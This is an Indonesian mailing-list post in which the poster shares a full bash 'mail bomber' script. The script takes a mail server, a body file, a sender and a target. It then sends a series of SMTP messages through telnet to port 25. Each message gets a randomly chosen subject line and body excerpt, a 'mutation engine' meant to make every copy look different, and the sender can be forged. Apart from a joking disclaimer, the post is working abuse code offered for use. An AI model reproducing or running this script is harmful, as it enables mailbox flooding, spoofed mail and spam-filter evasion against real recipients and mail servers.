> Coba check di archieve di footer mail ini,...topik ini udah dibahas koq
Biar tambah ngerti ini aku load source code simple bomber pakai script
bash.
#!/bin/bash
# Program ini sangatlah berbahaya.
# Anda bisa mendapatkan resiko dihukum mati atawa gantung kalo'
# makainya sembarangan.
# Tapi sekali lagi :
# Use at your OWN RISK!!!!
usage() {
echo
echo "Cara pemakaian :"
echo "$0 [mail server] [filebodymessage] [from] [to]"
echo "By: Rizki Wicaksono"
echo
}
subject() {
echo "Ini subjectnya beda lho!!!" > sbj
echo "Apalagi yang ini pasti berbeda" >> sbj
echo "Tapi sayangnya kalo' nggak beda khan susah" >> sbj
echo "Dedicated to Someon inside my heart" >> sbj
echo "Asyik bisa bikin mail bomber kayak ginian" >>sbj
echo "Wahh senengnya udah bisa bikin mail bomber" >>sbj
echo "Aku nggak tahu sebenernya yang harus ditulis disini apa?" >>sbj
echo "Buat anak-anakku di T-20, yang rajin ya kuliahnya">>sbj
echo "Buat semua temen-temenku di Informatika 99">>sbj
echo "Makasih atas segala dukungan kalian" >>sbj
echo "Bingung euy! Mao nulis apa lagi ya?" >>sbj
echo "Iya deh, nulis terserah juga boleh" >>sbj
echo "Tapi jangan menjelek-jelekkan temen lho!">>sbj
echo "Eh disini dingin ya ngga kayak dikampung dulu" >>sbj
echo "Tapi ceweknya cakep-cakep euy!" >>sbj
}
# Menghitung jumlah baris.
jumbaris() {
# Jumlah baris dalam file $FILE
JUM=`cat $FILE|wc -l`
JUM=`expr $JUM + 1`
export JUM
}
# The Email Mutation Engine is HERE!!!!!!
mutation() {
cat temporary > engage
echo $RANDOM > /dev/null # Init Random Seed
BARIS=`expr $RANDOM % 16`
if test $BARIS -eq "0"; then
BARIS="4";
fi
echo "$BARIS p" > script.sed
# Mutate The Subject PART!!!! :)
echo "echo \"Subject: `sed -n -f script.sed sbj`\"" >> engage
echo "echo" >>engage
# Nomer barisnya
echo $RANDOM > /dev/null # Init Random Seed
START=`expr $RANDOM % $JUM`
echo $RANDOM > /dev/null # init random seed
LAST=`expr $RANDOM % $JUM`
# Body dipilih dari baris n ke m, dari file $2
# n < m
if test $START -gt $LAST; then
echo "$LAST,$START p" > script.sed
else
echo "$START,$LAST p" > script.sed
fi
# Mutate the mail body
echo "sed -n -f script.sed $FILE" >> engage
cat temporary.last >> engage
}
if [ -z $4 ]; then
usage
exit 1
fi
# Makin the first part of polymorphic file
echo "echo \"helo there\"" > temporary
echo "echo \"mail from:$3\"" >> temporary
echo "echo \"rcpt to:$4\"" >>temporary
echo "echo \"data\"" >>temporary
echo "echo \"Date:`date`\"" >>temporary
echo "echo \"From:$3\"" >>temporary
echo "echo \"To:$4\"" >>temporary
# Makin the last part of polymorphic file
echo "echo \".\"" >>temporary.last
echo "sleep 1" >>temporary.last
echo "echo \"quit\"" >>temporary.last
# Makin the subject library file
subject
# Mengekspor ke Environment biar jadi variable global
export FILE=$2
# Menghitung jumlah barisnya.
jumbaris
MAX=0
TOTAL=10
while [ "$MAX" -lt "$TOTAL" ]; do
# Increase the MAX Var
MAX="`expr $MAX + 1`"
echo "Sending mail...$MAX"
# Now, Mutate the mail!
# Make it totally different mail each time!!!!! Yes, I finally did it!! :)
mutation
# And then....... Engage the BOMB!
bash engage | telnet $1 25 >/dev/null 2>&1
done
echo "Success."
rm temporary temporary.last engage sbj script.sed
exit 0
http://www.indolinux.com - Nikmati Layanan Personal INDOLINUX ::
http://techscape.net/ - Webhosting: Dual T3 on Dual Pentium III 450Mhz
Only US$1.95/month -> CGI SSL 5MB Unlimited Traffic & Mail FP2000
-------------------------------------------------------------------
untuk berhenti kirim email ke [EMAIL PROTECTED]
untuk melihat peraturan kirim email ke [EMAIL PROTECTED]
arsip berada di http://www.mail-archive.com/[email protected]